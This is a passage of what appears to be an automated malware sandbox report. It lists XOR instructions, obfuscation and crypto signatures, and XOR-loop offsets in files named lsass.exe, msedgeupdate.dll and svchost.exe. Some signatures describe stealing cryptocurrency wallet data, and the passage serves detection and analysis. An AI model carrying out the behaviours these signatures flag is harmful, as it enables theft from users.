eax ebp in Stream UID: 00000000-00002136-52215-129-00ED985C Assembly shows XOR instruction xor esi dword ptr [00EE0394h] in Stream UID: 00000000-00002136-52215-129-00ED985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-129-00ED985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-133-00ED995D Assembly shows XOR instruction xor esi dword ptr [00EE0390h] in Stream UID: 00000000-00002136-52215-133-00ED995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-133-00ED995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-135-00EDDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-135-00EDDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-137-00EDDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-137-00EDDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-141-00EDD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-141-00EDD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-149-00EDD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-149-00EDD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-151-00EDD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-151-00EDD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-158-00EDA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-161-00EDA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-162-00EDA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-182-00ED8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-182-00ED8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002136-52215-194-00EDC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002136-52215-194-00EDC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-195-00ED8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-195-00ED8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-198-00ED8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-198-00ED8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-199-00ED7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-199-00ED7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-202-00ED85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-202-00ED85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-203-00ED89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-203-00ED89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-204-00ED9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-204-00ED9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-211-00EDD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-211-00EDD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-214-00EDC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-214-00EDC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-215-00ED92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-215-00ED92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00002136-52215-217-00ED9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002136-52215-217-00ED9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00002136-52215-217-00ED9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00002136-52215-217-00ED9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00002136-52215-217-00ED9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00002136-52215-217-00ED9F432f:T61d,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to access crypto-related API (String) Matched sigs: Command line contains long Base64-encoded string Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]30:Tc663,Found XOR loop in file "lsass.exe" at offset 16293; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 112388; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 145960; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 188223; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 256205; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 484610; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 490628; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 507989; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 542103; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 620860; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 641969; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 681140; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 779201; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 784411; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 802074; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 999750; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1052193; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1070163; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1137820; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1154820; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1192982; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1259194; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1327050; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1369764; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1484615; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1517096; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1543547; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1604175; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1649077; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1656226; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1681453; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1708215; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1779089; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1833433; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1836980; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 1860584; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2000750; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2041282; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2080881; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2094721; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2133452; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2238150; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2317816; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2344958; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2353837; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2403882; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2445495; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2562969; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2742183; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2940482; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 2994056; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3104005; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3143920; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3155183; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3191506; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3221374; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3242876; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3334363; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3377148; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3424926; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3508906; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 3510647; code bytes = 30d0 Found XOR loop in file "lsass.exe" at offset 113597; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 146445; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 198485; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 217036; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 273466; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 288965; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 411621; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 641174; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 915855; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 977454; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1022141; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1095970; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1153458; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1163286; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1178127; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1201050; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1244863; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1247814; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1332683; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1393170; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1556377; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1566129; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1624736; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1631772; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1695002; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1733885; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1742174; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 1830435; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2045929; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2127559; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2215685; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2262944; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2283962; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2291751; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2395314; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2405206; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2421518; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2613199; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2621613; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2670497; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2756856; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2781219; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2792265; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2917135; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2925150; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 2954839; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3031062; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3059820; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3211965; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3255994; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3266153; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3278065; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3341077; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3373378; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 3538825; code bytes = 33c1 Found XOR loop in file "lsass.exe" at offset 110337; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 153570; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 160905; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 384974; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 401669; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 606582; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 646182; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 731852; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1089873; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1156374; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1167256; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1186689; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1232549; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1307848; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1332394; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1441126; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1510032; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1510907; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1536194; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1545003; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1601054; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1629854; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1789350; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 1933506; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2066474; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2069002; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2156276; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2248056; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2389154; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2425500; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2456473; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2532218; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2545586; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2701356; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2705055; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2729213; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2780928; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2782242; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2883709; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2918107; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 2971704; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3016500; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3120479; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3281866; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3395991; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3473616; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3549548; code bytes = 8030 Found XOR loop in file "lsass.exe" at offset 3587680; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 168935; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 319683; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 544815; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 545502; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 545579; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 554445; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 1512297; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2138575; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2287269; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2291211; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2298351; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2315601; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2321555; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2322357; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2336095; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2337561; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2338933; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2341717; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2342911; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2344967; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2347023; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2349637; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2350527; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2354135; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 2358326; code bytes = 30d0 Found XOR loop in file "msedgeupdate.dll" at offset 122704; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 363668; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 381131; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 421707; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 421859; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 495281; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1104190; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1114993; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1115136; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1115205; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1115271; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1221870; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1311745; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2089339; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2160095; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2167405; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2279531; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2280715; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2282027; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2289183; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2298955; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2332985; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 2333377; code bytes = 33c1 Found XOR loop in file "msedgeupdate.dll" at offset 1367799; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 1544844; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 1557194; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 1975420; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2080577; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2103549; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2159353; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2163799; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2281496; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2292002; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2304622; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2314078; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2316728; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2320566; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2336056; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2337522; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2337764; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2342872; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2344928; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2346984; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2349622; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2351194; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2351908; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2354096; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2355954; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2359246; code bytes = 8030 Found XOR loop in file "msedgeupdate.dll" at offset 2360931; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 190690; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 199178; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 205754; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 301304; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 330422; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 470881; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 825943; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 963010; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 988360; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1288936; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1302994; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1334794; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1506821; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1630460; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1654947; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1696322; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1711453; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1817419; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1957092; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2036119; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2038027; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2072140; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2155070; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2170568; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 113587; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 272475; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 325037; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 431885; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 500262; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 537268; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 804922; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 863624; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 910965; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 919473; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 973095; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1053911; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1065249; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1321193; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1326779; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1739685; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1780685; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1939145; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2013081; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2075249; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2126678; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2191010; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2111940; code bytes = 30040e Found XOR loop in file "svchost.exe" at offset 134208; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 176110; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 333778; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 439120; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 445661; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 461695; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 514350; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 514590; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 514854; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 746649; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 750301; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 760158; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 780342; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 820253; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 832280; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 870632; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 945674; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 988359; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1124514; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1129314; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1142883; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1190997; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1208653; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1255591; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1379784; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1536285; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1577700; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1615079; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1615393; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1631713; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1661866; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1760524; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1784987; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1897177; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1958809; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1962170; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2111914; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2177163; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2234627; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2245451; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2250042; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 179942; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 188430; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 195006; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 290556; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 319674; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 460133; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 815195; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 952262; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 977612; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1278188; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1292246; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1324046; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1496073; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1619712; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1644199; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1685574; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1700705; code bytes = 